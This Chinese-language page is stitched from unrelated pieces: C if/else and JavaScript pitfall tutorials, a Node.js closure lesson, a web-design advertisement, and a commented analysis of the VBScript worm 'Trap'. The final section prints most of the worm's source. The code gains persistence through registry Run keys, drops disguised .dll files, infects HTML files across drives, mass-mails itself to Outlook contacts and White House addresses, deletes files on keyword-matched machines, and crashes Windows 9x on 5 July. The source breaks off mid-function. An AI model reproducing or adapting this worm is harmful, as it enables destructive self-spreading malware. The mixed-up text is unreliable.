第1個(gè):a中....當(dāng)X==1的時(shí)候..并且Y==7的時(shí)候執(zhí)行statementA....如果當(dāng)X==1..Y!=7的時(shí)候..就執(zhí)行statementB...
為衛(wèi)濱等地區(qū)用戶(hù)提供了全套網(wǎng)頁(yè)設(shè)計(jì)制作服務(wù),及衛(wèi)濱網(wǎng)站建設(shè)行業(yè)解決方案。主營(yíng)業(yè)務(wù)為成都做網(wǎng)站、成都網(wǎng)站建設(shè)、衛(wèi)濱網(wǎng)站設(shè)計(jì),以傳統(tǒng)方式定制建設(shè)網(wǎng)站,并提供域名空間備案等一條龍服務(wù),秉承以專(zhuān)業(yè)、用心的態(tài)度為用戶(hù)提供真誠(chéng)的服務(wù)。我們深信只要達(dá)到每一位用戶(hù)的要求,就會(huì)得到認(rèn)可,從而選擇與我們長(zhǎng)期合作。這樣,我們也可以走得更遠(yuǎn)!
你只要記得..else總是跟最近的一個(gè)if配對(duì)就可以了..(除了你呆會(huì)碰到的b情況..)
b中....它加了一個(gè)花括號(hào)..讓第2個(gè)if獨(dú)立了起來(lái)...它的意思就是....當(dāng)X==1并且Y==7的時(shí)候..執(zhí)行statementA....如果X!=1...那么就執(zhí)行statementB(Y為任意值)....原則上來(lái)講...else應(yīng)該跟最近的一個(gè)if配對(duì)..但是加了一個(gè)花括號(hào)它的意思就變了...意思if(Y==7)statementB只是if(X==1)的一個(gè)表達(dá)式語(yǔ)句而已....如果當(dāng)程序變成這個(gè)樣子的時(shí)候...
if (x ==1 )
if( y == 7 ){
statement A
}
else
statement B
把if(X==1)后面的花括號(hào)移到if(Y==7的后面的時(shí)候)..它表達(dá)的意思是跟a程序是一樣的...如果if語(yǔ)句后面只有一條語(yǔ)句..則允許不加花括號(hào)...
第2:這個(gè)很簡(jiǎn)單了..意思就是當(dāng)X==1并且Y==7的時(shí)候..執(zhí)行statementA...否則執(zhí)行statementB..看上去這個(gè)跟第1個(gè)程序的b是一樣的..其實(shí)不然.....這個(gè)程序必須滿(mǎn)足..X==1并且Y==7的時(shí)候才會(huì)執(zhí)行...只要其中有一個(gè)是錯(cuò)誤的..就不會(huì)執(zhí)行..而第1里面的b當(dāng)X==1的時(shí)候..Y!=7..則不會(huì)運(yùn)行任何代碼..因?yàn)榈?個(gè)if是獨(dú)立的..它不與任何else配對(duì)...
以下是JavaScript容易犯錯(cuò)的幾個(gè)"陷阱".由本人google+體驗(yàn)+搜集而來(lái).雖然不是什么很高深的技術(shù)問(wèn)題,但注意一下,會(huì)使您的編程輕松些.
1. 最后一個(gè)逗號(hào)
如這段代碼,注意最后一個(gè)逗號(hào),按語(yǔ)言學(xué)角度來(lái)說(shuō)應(yīng)該是不錯(cuò)的(python的類(lèi)似數(shù)據(jù)類(lèi)型辭典dictionary就允許如此)。IE會(huì)報(bào)語(yǔ)法錯(cuò)誤,但語(yǔ)義不詳,你只能用人眼從幾千行代碼中掃描。
Js代碼
script
var theObj = {
city : "ShenZhen",
state : "ok",
}
/script
script var theObj = { city : "ShenZhen", state : "ok", } /script
2. this的引用會(huì)改變
如這段代碼:
Js代碼
input type="button" value="Gotcha!" id="MyButton"
script
var MyObject = function () {
this.alertMessage = "Javascript rules";
this.ClickHandler = function() {
alert(this.alertMessage ); //行1
}
}();
document.getElementById("theText").onclick = MyObject.ClickHandler;
/script
input type="button" value="Gotcha!" id="MyButton" script var MyObject = function () { this.alertMessage = "Javascript rules"; this.ClickHandler = function() { alert(this.alertMessage ); //行1 } }(); document.getElementById("theText").onclick = MyObject.ClickHandler; /script
并不如你所愿,答案并不是”JavaScript rules”。在執(zhí)行MyObject.ClickHandler時(shí),在行1中,this的引用實(shí)際上指向的是document.getElementById("theText")的引用??梢赃@么解決:
Js代碼
input type="button" value="Gotcha!" id="theText"
script
var MyObject = function () {
var self = this;
this.alertMessage = “Javascript rules”;
this.OnClick = function() {
alert(self.value);
}
}();
document.getElementById(”theText”).onclick = MyObject.OnClick
/script
input type="button" value="Gotcha!" id="theText" script var MyObject = function () { var self = this; this.alertMessage = “Javascript rules”; this.OnClick = function() { alert(self.value); } }(); document.getElementById(”theText”).onclick = MyObject.OnClick /script
實(shí)質(zhì)上,這就是JavaScript作用域的問(wèn)題。如果你看過(guò),你會(huì)發(fā)現(xiàn)解決方案不止一種。
3. 標(biāo)識(shí)盜賊
在JavaScript中不要使用跟HTML的id一樣的變量名。如下代碼:
Js代碼
input type="button" id="TheButton"
script
var TheButton = document.getElementById("TheButton");
/script
input type="button" id="TheButton" script var TheButton = document.getElementById("TheButton"); /script
IE會(huì)報(bào)對(duì)象未定義的錯(cuò)誤。我只能說(shuō):IE 真爛.
4. 字符串只替換第一個(gè)匹配
如下代碼:
Js代碼
script
var fileName = "This is a title";
fileName=fileName.replace(" ","_");
/script
script var fileName = "This is a title"; fileName=fileName.replace(" ","_"); /script
而實(shí)際上,fileName結(jié)果是"This_is a title". 在JavaScript中,String.replace的第一個(gè)參數(shù)應(yīng)該是正則表達(dá)式。所以,正確的做法是這樣:
Js代碼
var fileName = "This is a title".replace(/ /g,"_");
var fileName = "This is a title".replace(/ /g,"_");
5. mouseout意味著mousein
事實(shí)上,這是由于事件冒泡導(dǎo)致的。IE中有mouseenter和mouseleave,但不是標(biāo)準(zhǔn)的。作者在此建議大家使用js庫(kù)來(lái)解決問(wèn)題。
6. parseInt是基于進(jìn)制體系的
這個(gè)是常識(shí),可是很多人給忽略了parseInt還有第二個(gè)參數(shù),用以指明進(jìn)制。比如,parseInt("09"),如果你認(rèn)為答案是9,那就錯(cuò)了。因?yàn)?,在此,字符串?開(kāi)頭,parseInt以八進(jìn)制來(lái)處理它,在八進(jìn)制中,09是非法,返回false,布爾值false轉(zhuǎn)化成數(shù)值就是0. 因此,正確的做法是
Js代碼
parseInt("09", 10).
parseInt("09", 10).
7. for...in...會(huì)遍歷所有的東西
有一段這樣的代碼:
Js代碼
var arr = [5,10,15]
var total = 1;
for ( var x in arr) {
total = total * arr[x];
}
var arr = [5,10,15] var total = 1; for ( var x in arr) { total = total * arr[x]; }
運(yùn)行得好好的,不是嗎?但是有一天它不干了,給我返回的值變成了NaN, 暈。我只不過(guò)引入了一個(gè)庫(kù)而已啊。原來(lái)是這個(gè)庫(kù)改寫(xiě)了Array的prototype,這樣,我們的arr平白無(wú)過(guò)多出了一個(gè)屬性(方法),而for...in...會(huì)把它給遍歷出來(lái)。
其實(shí),就算沒(méi)有引進(jìn)庫(kù).它的結(jié)果也并不是數(shù)組所有元素的乘積,因?yàn)閒or...in...會(huì)遍歷到數(shù)組的length屬性.
所以這樣做才是比較安全的:
Js代碼
for ( var x = 0; x arr.length; x++) {
total = total * arr[x];
}
for ( var x = 0; x arr.length; x++) { total = total * arr[x]; }
其實(shí),這也是污染基本類(lèi)的prototype會(huì)帶來(lái)危害的一個(gè)例證。
8. 事件處理器的陷阱
這其實(shí)只會(huì)存在使用作為對(duì)象屬性的事件處理器才會(huì)存在的問(wèn)題。比如window.onclick = MyOnClickMethod這樣的代碼,這會(huì)復(fù)寫(xiě)掉之前的window.onclick事件,還可能導(dǎo)致IE的內(nèi)容泄露(sucks again)。在IE還沒(méi)有支持DOM 2的事件注冊(cè)之前,作者建議使用庫(kù)來(lái)解決問(wèn)題,比如使用YUI:
YAHOO.util.Event.addListener(window, "click", MyOnClickMethod);
這應(yīng)該也屬于常識(shí)問(wèn)題,但新手可能容易犯錯(cuò)。
9. focus() 出錯(cuò)
新建一個(gè)input文本元素,然后把焦點(diǎn)挪到它上面,按理說(shuō),這樣的代碼應(yīng)該很自然:
Js代碼
var newInput = document.createElement("input");
document.body.appendChild(newInput);
newInput.focus();
newInput.select();
var newInput = document.createElement("input"); document.body.appendChild(newInput); newInput.focus(); newInput.select();
但是IE會(huì)報(bào)錯(cuò)。這是因?yàn)楫?dāng)你執(zhí)行fouce()的時(shí)候,元素尚未可用。因此,我們可以延遲執(zhí)行:
Js代碼
var newInput = document.createElement("input");
newInput.id = "TheNewInput";
document.body.appendChild(newInput);
//在0.01秒之后調(diào)用匿名函數(shù)獲取焦點(diǎn)
setTimeout(function(){
document.getElementById('TheNewInput').focus();
document.getElementById('TheNewInput').select();}, 10);
var newInput = document.createElement("input"); newInput.id = "TheNewInput"; document.body.appendChild(newInput); //在0.01秒之后調(diào)用匿名函數(shù)獲取焦點(diǎn) setTimeout(function(){ document.getElementById('TheNewInput').focus(); document.getElementById('TheNewInput').select();}, 10);
更詳細(xì)的資料參見(jiàn):
10.document.write()完全替換之前頁(yè)面內(nèi)容
有這樣一段代碼:
Js代碼
h3開(kāi)始/h3
script type="text/jscript"
function init() {
document.write("現(xiàn)在時(shí)間是:" + Date() );
}
window.onload = init;
/script
h3結(jié)束/h3
h3開(kāi)始/h3 script type="text/jscript" function init() { document.write("現(xiàn)在時(shí)間是:" + Date() ); } window.onload = init; /script h3結(jié)束/h3
上面代碼塊中的"開(kāi)始"和"結(jié)束"兩塊不會(huì)輸出.
當(dāng)onload事件結(jié)束之后,如果再一次調(diào)用document.write()方法寫(xiě)進(jìn)一段HTML,這段HTML會(huì)完全替換掉之前頁(yè)面的內(nèi)容.整個(gè)頁(yè)面的源代碼就變?yōu)榱薲ocument.write()所寫(xiě)的內(nèi)容.把上面的改為:
Js代碼
h3開(kāi)始/h3
script type="text/jscript"
function init() {
document.write("現(xiàn)在時(shí)間是:" + new Date() );
}
init()
/script
h3結(jié)束/h3
h3開(kāi)始/h3 script type="text/jscript" function init() { document.write("現(xiàn)在時(shí)間是:" + new Date() ); } init() /script h3結(jié)束/h3
"開(kāi)始"和"結(jié)束"就會(huì)正常輸出.
11.注意你name的值.
有這樣一段代碼:
Js代碼
form name="myForm" action="aa.htm"
input type="text" name="action" /
/form
script
//獲取form的id
alert(document.forms[0].action);
/script
form name="myForm" action="aa.htm" input type="text" name="action" / /form script //獲取form的id alert(document.forms[0].action); /script
可輸出結(jié)果不是我們想要的"aa.htm",而是一個(gè)"[object]"字符串.因?yàn)樗玫降氖莔yForm中的name為"action"的input標(biāo)簽的值.更詳細(xì)的內(nèi)容請(qǐng)參考[url]
[/url]
12.后臺(tái)數(shù)據(jù)傳輸不會(huì)影響到前臺(tái)
也許你會(huì)說(shuō)這是一非常低級(jí)的錯(cuò)誤.但我還是想說(shuō)下:
頁(yè)面login.htm代碼
Js代碼
...
xmlHttp.open("GET","check.htm",false);
xmlHttp.send();
alert(xmlHttp.responseText);
...
... xmlHttp.open("GET","check.htm",false); xmlHttp.send(); alert(xmlHttp.responseText); ...
頁(yè)面check.htm代碼
Js代碼
...
window.onload=checkLogin;
function checkLogin(){
...
//如果驗(yàn)證失敗,彈出錯(cuò)誤
alert("登錄失敗");
...
}
...
... window.onload=checkLogin; function checkLogin(){ ... //如果驗(yàn)證失敗,彈出錯(cuò)誤 alert("登錄失敗"); ... } ...
很多人習(xí)慣用這種方法來(lái)進(jìn)行登錄失敗的提示.但是要注意:xmlHttp發(fā)送數(shù)據(jù)的時(shí)候是進(jìn)行的后臺(tái)發(fā)送,它所關(guān)心的,僅僅是send之后,得到所請(qǐng)求URL的響應(yīng).而check.htm頁(yè)面所執(zhí)行的一切,都是只在后臺(tái)完成.不管它怎么跳轉(zhuǎn),或者alert(),或者close().都不會(huì)在界面中有任何顯示.
-----------------------------------------------------------------------------------------
在實(shí)踐中,JavaScript的陷阱還有很多很多,大多是由于解析器的實(shí)現(xiàn)不到位而引起。這些東西一般都不會(huì)在教科書(shū)中出現(xiàn),只能靠開(kāi)發(fā)者之間的經(jīng)驗(yàn)分享。希望大家有更好的分享。
部分內(nèi)容引用自:
文章出處:DIY部落()
Node.js?的異步機(jī)制由事件和回調(diào)函數(shù)實(shí)現(xiàn),一開(kāi)始接觸可能會(huì)感覺(jué)違反常規(guī),但習(xí)慣以后就會(huì)發(fā)現(xiàn)還是很簡(jiǎn)單的。然而這之中其實(shí)暗藏了不少陷阱,一個(gè)很容易遇到的問(wèn)題就是循環(huán)中的回調(diào)函數(shù),初學(xué)者經(jīng)常容易陷入這個(gè)圈套。讓我們從一個(gè)例子開(kāi)始說(shuō)明這個(gè)問(wèn)題。
var?fs = require('fs');
var?files = ['a.txt', 'b.txt', 'c.txt'];
for?(var?i = 0; i files.length; i++) {
fs.readFile(files[i], 'utf-8',?function?(err, contents) {
console.log(files[i] + ': ' + contents);
});
}
這段代碼的功能很直觀,就是依次讀取文件?a.txt、b.txt?、c.txt?,并輸出文件名和內(nèi)容。假設(shè)這三個(gè)文件的內(nèi)容分別是?AAA?、BBB?和?CCC,那么我們期望的輸出結(jié)果就是:
a.txt: AAA
b.txt: BBB
c.txt: CCC
可是我們運(yùn)行這段代碼的結(jié)果是怎樣的呢?竟然是這樣的結(jié)果:
undefined: AAA
undefined: BBB
undefined: CCC
這個(gè)結(jié)果說(shuō)明文件內(nèi)容正確輸出了,而文件名卻不對(duì),也就意味著,contents?的結(jié)果是正確的,但?files[i]?的值是?undefined。這怎么可能呢,文件名不正確卻能讀取文件內(nèi)容?既然難以直觀地理解,我們就把?files[i]?分解并打印出來(lái)看看,在讀取文件的回調(diào)函數(shù)中分別輸出?files、i?和?files[i]?。
var?fs = require('fs');
var?files = ['a.txt', 'b.txt', 'c.txt'];
for?(var?i = 0; i files.length; i++) {
fs.readFile(files[i], 'utf-8',?function?(err, contents) {
console.log(files);
console.log(i);
console.log(files[i]);
});
}
運(yùn)行修改后的代碼,結(jié)果如下:
[ 'a.txt', 'b.txt', 'c.txt' ]
3
undefined
[ 'a.txt', 'b.txt', 'c.txt' ]
3
undefined
[ 'a.txt', 'b.txt', 'c.txt' ]
3
undefined
看到這里是不是有點(diǎn)啟發(fā)了呢?三次輸出的?i?的值都是?3?,超出了?files?數(shù)組的下標(biāo)范圍,因此?files[i]?的值就是?undefined?了。這種情況通常會(huì)在?for?循環(huán)結(jié)束時(shí)發(fā)生,例如?for (var i = 0; i files.length; i++),退出循環(huán)時(shí)?i?的值就files.length?的值。既然?i?的值是?3?,那么說(shuō)明了事實(shí)上?fs.readFile?的回調(diào)函數(shù)中訪問(wèn)到的?i?值都是循環(huán)退出以后的,因此不能分辨。而?files[i]?作為?fs.readFile?的第一個(gè)參數(shù)在循環(huán)中就傳遞了,所以文件可以被定位到,而且可以顯示出文件的內(nèi)容。
現(xiàn)在問(wèn)題就明朗了:原因是3?次讀取文件的回調(diào)函數(shù)事實(shí)上是同一個(gè)實(shí)例,其中引用到的?i?值是上面循環(huán)執(zhí)行結(jié)束后的值,因此不能分辨。如何解決這個(gè)問(wèn)題呢?我們可以利用
JavaScript?函數(shù)式編程的特性,手動(dòng)建立一個(gè)閉包:
//forloopclosure.js
var?fs = require('fs');
var?files = ['a.txt', 'b.txt', 'c.txt'];
for?(var?i = 0; i files.length; i++) {
(function?(i) {
fs.readFile(files[i], 'utf-8',?function?(err, contents) {
console.log(files[i] + ': ' + contents);
});
})(i);
}
上面代碼在?for?循環(huán)體中建立了一個(gè)匿名函數(shù),將循環(huán)迭代變量?i?作為函數(shù)的參數(shù)傳遞并調(diào)用。由于運(yùn)行時(shí)閉包的存在,該匿名函數(shù)中定義的變量(包括參數(shù)表)在它內(nèi)部的函數(shù)(fs.readFile?的回調(diào)函數(shù))執(zhí)行完畢之前都不會(huì)釋放,因此我們?cè)谄渲性L問(wèn)到的?i?就分別是不同的閉包實(shí)例,這個(gè)實(shí)例是在循環(huán)體執(zhí)行的過(guò)程中創(chuàng)建的,保留了不同的值。
補(bǔ)充:閉包的寫(xiě)法,無(wú)法保證按數(shù)組存放文件順序讀取文件內(nèi)容,相當(dāng)多個(gè)文件讀取操作并行進(jìn)行,根據(jù)文件大小決定讀取的快慢;而forEach是可以的保證順序讀取;
事實(shí)上以上這種寫(xiě)法并不常見(jiàn),因?yàn)樗档土顺绦虻目勺x性,故不推薦使用。大多數(shù)情況下我們可以用數(shù)組的?forEach?方法解決這個(gè)問(wèn)題:
//callbackforeach.js
var?fs = require('fs');
var?files = ['a.txt', 'b.txt', 'c.txt'];
files.forEach(function?(filename) {
fs.readFile(filename, 'utf-8',?function?(err, contents) {
console.log(filename + ': ' + contents);
});
});
是一個(gè)能夠在服務(wù)器端運(yùn)行JavaScript的開(kāi)放源代碼、跨平臺(tái)JavaScript運(yùn)行環(huán)境。
Node.js由Node.js基金會(huì)持有和維護(hù),并與Linux基金會(huì)有合作關(guān)系。Node.js采用Google開(kāi)發(fā)的V8運(yùn)行代碼,使用事件驅(qū)動(dòng)、非阻塞和異步輸入輸出模型等技術(shù)來(lái)提高性能,可優(yōu)化應(yīng)用程序的傳輸量和規(guī)模。這些技術(shù)通常用于數(shù)據(jù)密集的即時(shí)應(yīng)用程序。
Node.js大部分基本模塊都用JavaScript語(yǔ)言編寫(xiě)。在Node.js出現(xiàn)之前,JavaScript通常作為客戶(hù)端程序設(shè)計(jì)語(yǔ)言使用,以JavaScript寫(xiě)出的程序常在用戶(hù)的瀏覽器上運(yùn)行。
Node.js的出現(xiàn)使JavaScript也能用于服務(wù)端編程。Node.js含有一系列內(nèi)置模塊,使得程序可以脫離Apache HTTP Server或IIS,作為獨(dú)立服務(wù)器運(yùn)行。
擴(kuò)展資料
js的優(yōu)點(diǎn)
Node作為一個(gè)新興的前端框架,后臺(tái)語(yǔ)言,有很多吸引人的地方:
RESTful API
單線(xiàn)程
Node可以在不新增額外線(xiàn)程的情況下,依然可以對(duì)任務(wù)進(jìn)行并發(fā)處理 —— Node.js是單線(xiàn)程的。它通過(guò)事件循環(huán)(event loop)來(lái)實(shí)現(xiàn)并發(fā)操作,對(duì)此,我們應(yīng)該要充分利用這一點(diǎn) —— 盡可能的避免阻塞操作,取而代之,多使用非阻塞操作。
參考資料來(lái)源? 百度百科-node.js
在 JavaScript 中,判斷一個(gè)變量的類(lèi)型嘗嘗會(huì)用 typeof 運(yùn)算符,在使用 typeof 運(yùn)算符時(shí)采用引用類(lèi)型存儲(chǔ)值會(huì)出現(xiàn)一個(gè)問(wèn)題,無(wú)論引用的是什么類(lèi)型的對(duì)象,它都返回 “object”。這就需要用到instanceof來(lái)檢測(cè)某個(gè)對(duì)象是不是另一個(gè)對(duì)象的實(shí)例。
另外,更重的一點(diǎn)是 instanceof 可以在繼承關(guān)系中用來(lái)判斷一個(gè)實(shí)例是否屬于它的父類(lèi)型。
例如:
function Foo(){}
Foo.prototype = new Aoo();//JavaScript 原型繼承
var foo = new Foo();
console.log(foo instanceof Foo)//true
console.log(foo instanceof Aoo)//true
上面的代碼中是判斷了一層繼承關(guān)系中的父類(lèi),在多層繼承關(guān)系中,instanceof 運(yùn)算符同樣適用。
又如:
console.log(Object instanceof Object);//true
console.log(Function instanceof Function);//true console.log(Number instanceof Number);//false
console.log(String instanceof String);//false
console.log(Function instanceof Object);//true
console.log(Foo instanceof Function);//true
console.log(Foo instanceof Foo);//false
下面就對(duì)“陷阱”的發(fā)作過(guò)程和源代碼作詳細(xì)的揭密。
病毒具有自身加密能力(使用 JavaScript 編碼技術(shù)),使得普通用戶(hù)無(wú)法看到病毒原碼,但在被感染 VBS 文件中并沒(méi)有加密,于是作為一個(gè)入口點(diǎn),我非常輕松地得到所有源碼。
'@ thank you! make use of other person to get rid of an enemy, trap _2001
'這句話(huà)的意思可能是“借刀殺人”,然后是病毒名稱(chēng)“陷阱”
on error resume next
dim vbscr, fso,w1,w2,MSWKEY,HCUW,Code_Str, Vbs_Str, Js_Str
dim defpath, smailc, MAX_SIZE
dim whb(), title(10)
smailc = 4
Redim whb(smailc) ’白宮相關(guān)人員郵件名單
whb(0) = "president@whitehouse.gov"
whb(1) = "vice.president@whitehouse.gov "
whb(2) = "first.lady@whitehouse.gov"
whb(3) = "mrs.cheney@whitehouse.gov"
'發(fā)送郵件的主題
title(0) = "Thanks for helping me!"
title(1) = "The police are investigating the robbery"
title(2) = "an application for a job "
title(3) = "The aspects of an application process pertinent to OSI"
title(4) = "What a pleasant weather. Why not go out for a walk?"
title(5) = "These countries have gone / been through too many wars"
title(6) = "We've fixed on the 17th of April for the wedding"
title(7) = "The wind failed and the sea returned to calmness."
title(8) = "the sitting is open!"
title(9) = ""
defpath = "C:\Readme.html" ' 病毒文件
MAX_SIZE = 100000 ' 定義傳染文件的最大尺寸
MSWKEY = "HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Windows\"
HCUW = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"
main
sub main() '主程序
on error resume next
dim w_s
w_s= WScript.ScriptFullName '得到病毒文件本身的路徑
if w_s = "" then
Err.Clear
set fso = CreateObject("Scripting.FileSystemObject") '創(chuàng)建文件系統(tǒng)對(duì)象
if getErr then '辨認(rèn)病毒狀態(tài)
Randomize '初始化隨機(jī)種子
ra = int(rnd() * 7) '產(chǎn)生隨機(jī)數(shù)
doucment.write title(ra) ' 寫(xiě)隨機(jī)內(nèi)容
ExecuteMail '執(zhí)行郵件狀態(tài)時(shí)的程序
else
ExecutePage '執(zhí)行 WEB 頁(yè)狀態(tài)時(shí)的程序
end if
else
ExecuteVbs '執(zhí)行 VBS 文件狀態(tài)時(shí)的程序
end if
end sub
Function getErr() 忽略錯(cuò)誤
if Err.number0 then
getErr=true
Err.Clear
else
getErr=false
end if
end function
sub ExecutePage() 'WEB 頁(yè)狀態(tài)時(shí)的程序
on error resume next
dim Html_Str, adi, wdf, wdf2,wdf3,wdsf, wdsf2, vf
Vbs_Str = GetScriptCode("vbscript") '得到 VBScript 代碼
Js_Str = GetJavaScript() ' 得到 Javascript 代碼
Code_Str = MakeScript(encrypt(Vbs_str),true) '得到已加密過(guò)的腳本代碼
Html_Str = MakeHtml(encrypt(Vbs_str), true) '得到已加密的完整HTML代碼
Gf
'定義病毒文件的路徑
wdsf = w2 "Mdm.vbs"
wdsf2 = w1 "Profile.vbs"
wdf = w2 "user.dll" ' 注意 wdf 和 wdf3 兩個(gè)文件非常迷惑人
wdf2 = w2 "Readme.html"
wdf3 = w2 "system.dll"
'創(chuàng)建病毒文件
set vf = fso.OpenTextFile (wdf, 2, true)
vf.write Vbs_Str
vf.close
set vf = fso.OpenTextFile (wdsf, 2, true)
vf.write Vbs_Str
vf.close
set vf = fso.OpenTextFile (wdsf2, 2, true)
vf.Write Vbs_Str
vf.close
set vf = fso.OpenTextFile (wdf2, 2, true)
vf.write Html_Str
vf.close
set vf = fso.OpenTextFile (wdf3, 2, true)
vf.write Code_Str
vf.close
修改注冊(cè)表,讓病毒文件在每一次計(jì)算機(jī)啟動(dòng)自動(dòng)執(zhí)行
Writereg MSWKEY "CurrentVersion\Run\Mdm", wdsf, ""
Writereg MSWKEY "CurrentVersion\RunServices\Profile", wdsf2, ""
SendMail ' 執(zhí)行發(fā)送郵件程序
Hackpage ' 執(zhí)行感染網(wǎng)站程序
set adi = fso.Drives
for each x in adi
if x.DrivesType = 2 or x.DrivesType = 3 then '遍歷所有本地硬盤(pán)和網(wǎng)絡(luò)共享硬盤(pán)
call SearchHTML(x "\") '執(zhí)行文件感染程序
end if
next
if TestUser then '檢查用戶(hù)
Killhe 執(zhí)行刪除文件操作
else
if Month(Date) Day(Date) = "75" then '如系統(tǒng)時(shí)間為 7月5日
set vf = fso.OpenTextFile(w2 "75.htm", 2,true) ’創(chuàng)建系統(tǒng)攻擊文件
vf.write MakeScript ("window.navigate ('c:/con/con');", false)
vf.close
Writereg MSWKEY "CurrentVersion\Run\75", w2 "75.htm", "" '自動(dòng)啟動(dòng)
window.navigate "c:/con/con" '立刻藍(lán)屏,利用 Windows BUG,能引起 Win9X 系統(tǒng)100%死機(jī)(即無(wú)法恢復(fù)的藍(lán)屏)
else '如不是7.5
if fso.FileExists(w2 "75.htm") then fso.DeleteFile w2 "75.htm" ' 刪除75.htm
end if
end if
if fso.FileExists(defpath) then fso.DeleteFile defpath ' 刪除 C:\Readme.html 病毒文件
end sub
sub ExecuteMail() '郵件狀態(tài)時(shí)執(zhí)行的程序
on error resume next
Vbs_Str = GetScriptCode("vbscript")
Js_Str = GetJavaScript()
Set Stl = CreateObject("Scriptlet.TypeLib") '創(chuàng)建 TypeLib對(duì)象
with Stl
.Reset
.Path = defpath
.Doc = MakeHtml(encrypt(Vbs_str), true)
.Write() '創(chuàng)建 C:\Readme.html 文件
end with
window.open defpath, "trap", "width=1 height=1 menubar=no scrollbars=no toolbar=no" 打開(kāi)會(huì)隱藏的窗口
end sub
sub ExecuteVbs() ' 同理,如病毒文件是 VBS 時(shí)所執(zhí)行的程序
on error resume next
dim x, adi, wvbs, ws, vf
set fso = CreateObject("Scripting.FileSystemObject")
set wvbs = CreateObject("WScript.Shell")
Gf
wvbs.RegWrite MSWKEY "Windows Scripting Host\Setings\Timeout", 0, "REG_DWORD"
set vf = fso.OpenTextFile (w2 "system.dll", 1)
Code_Str = vf.ReadAll()
vf.close
Hackpage
SendMail
set adi = fso.Drives
for each x in adi
if x.DrivesType = 2 or x.DrivesType = 3 then
call SearchHTML(x "\")
end if
next
if TestUser then Killhe
end sub
sub Gf() '得到系統(tǒng)路徑
w1=fso.GetSpecialFolder(0) "\"
w2=fso.GetSpecialFolder(1) "\"
end sub
function Readreg(key_str) '讀注冊(cè)表
set tmps = CreateObject("WScript.Shell")
Readreg = tmps.RegRead(key_str)
set tmps = Nothing
end function
function Writereg(key_str, Newvalue, vtype) '寫(xiě)注冊(cè)表
set tmps = CreateObject("WScript.Shell")
if vtype="" then
tmps.RegWrite key_str, Newvalue
else
tmps.RegWrite key_str, Newvalue, vtype
end if
set tmps = Nothing
end function
function MakeHtml(Sbuffer, iHTML) '創(chuàng)建HTML 文件的完整代碼
dim ra
Randomize
ra = int(rnd() * 7)
MakeHtml="" "HTML" "HEAD" "TITLE" title(ra) "/" "TITLE" "/HEAD" _
"BO" "AD" vbcrlf MakeScript(Sbuffer, iHTML) vbcrlf _
"" "/BOAD" "/HTML"
end Function
function MakeScript(Codestr, iHTML) '此程序是病毒進(jìn)行自我加密過(guò)程,較為復(fù)雜,不再描述
if iHTML then
dim DocuWrite
DocuWrite = "document.write(''+" "'SCRIPT Language=JavaScript\n'+" _
"jword" "+'\n/'" "+'SCRIPT');"
DocuWrite = DocuWrite vbcrlf "document.write(''+" "'SCRIPT Language=VBScript\n'+" _
"nword" "+'\n/'" "+'SCRIPT');"
MakeScript="" "SCRIPT Language=JavaScript" vbcrlf "var jword = " _
chr(34) encrypt(Js_Str) chr(34) vbcrlf "var nword = " _
chr(34) Codestr chr(34) vbcrlf "nword = unescape(nword);" vbcrlf _
"jword = unescape(jword);" vbcrlf DocuWrite vbcrlf "/" "SCRIPT"
else
MakeScript= "" "SCRIPT Language=JavaScript" Codestr "/" "SCRIPT"
end if
end function
function GetScriptCode(Languages) ' 得到不同腳本語(yǔ)言的代碼
dim soj
for each soj in document.scripts
if LCase(soj.Language) = Languages then
if Languages = "javascript" then
if len(soj.Text) 200 then
else
GetScriptCode = soj.Text
exit function
end if
else
GetScriptCode = soj.Text
exit function
end if
end if
next
end function
function GetJavaScript()
GetJavaScript = GetScriptCode("javascript")
end function
function TestUser() '檢測(cè)用戶(hù)過(guò)程
on error resume next
dim keys(6), i, tmpStr, Wnet
'特定用戶(hù)關(guān)鍵詞
keys(0) = "white home"
keys(1) = "central intelligence agency"
keys(2) = "bush"
keys(3) = "american stock exchang"
keys(4) = "chief executive"
keys(5) = "usa"
TestUser = false
Set Wnet = CreateObject("WScript.Network") '創(chuàng)建網(wǎng)絡(luò)對(duì)象
'下面一共3個(gè)循環(huán),作用一樣,是檢查用戶(hù)的 Domain、用戶(hù)名和計(jì)算機(jī)名是否含有以上的5個(gè)關(guān)鍵詞語(yǔ),一旦含有程序?qū)⒎祷亍闭妗钡臈l件,從而對(duì)這些用戶(hù)的文件進(jìn)行瘋狂刪除。
tmpStr = LCase(Wnet.UserName) '
for i=0 to 4
if InStr(tmpStr, keys(i)) 0 then
TestUser=true
exit function
end if
next
tmpStr = LCase(Wnet.ComputerName)
for i=0 to 4
if InStr(tmpStr, keys(i)) 0 then
TestUser=true
exit function
end if
next
tmpStr = LCase(Wnet.UserDomain)
for i=0 to 4
if InStr(tmpStr, keys(i)) 0 then
TestUser=true
exit function
end if
next
Set Wnet = Nothing
end function
function SendMail() '發(fā)送文件過(guò)程
on error resume next
dim wab,ra,j, Oa, arrsm, eins, Eaec, fm, wreg, areg,at
'首先向 OutLook 地址簿發(fā)送帶能直接感染文件的已加密的病毒代碼和HTML 附件
主題是隨機(jī)的,此過(guò)程與“歡樂(lè)時(shí)光“類(lèi)似,所以不再描述
Randomize
at=fso.GetSpecialFolder(1) "\Readme.html"
set Oa = CreateObject("Outlook.Application")
set wab = Oa.GetNameSpace("MAPI")
for j = 1 to wab.AddressLists.Count
eins = wab.AddressLists(j)
wreg=Readreg (HCUW eins)
if (wreg="") then wreg = 1
Eaec = eins.AddressEntries.Count
if (Eaec Int(wreg)) then
for x = 1 to Eaec
arrsm = wab.AddressEntries(x)
areg = Readreg(HCUW arrsm)
if (areg = "") then
set fm = wab.CreateItem(0)
with fm
ra = int(rnd() * 7)
.Recipients.Add arrsm
.Subject = title(ra)
.Body = title(ra)
.Attachments at
.Send
Writereg HCUW arrsm, 1, "REG_DWORD"
end with
end if
next
end if
Writereg HCUW eins, Eaec, ""
next
'下面是對(duì)指定的用戶(hù)無(wú)條件發(fā)送大量病毒郵件, 從這一點(diǎn)可看出病毒作者對(duì)美國(guó)政府的極度不滿(mǎn)。
for j = 1 to smailc
arrsm = whb(j)
set fm = wab.CreateItem(0)
ra = int(rnd() * 7)
with fm
.Recipients.Add arrsm
.Subject = title(ra)
.Body = title(ra)
.Send
end with
next
set Oa = Nothing
window.setTimeout "SendMail()", 5000 '每隔 5 秒種重復(fù)發(fā)送
end function
sub SearchHTML(Path) '搜索可傳染文件的過(guò)程
on error resume next
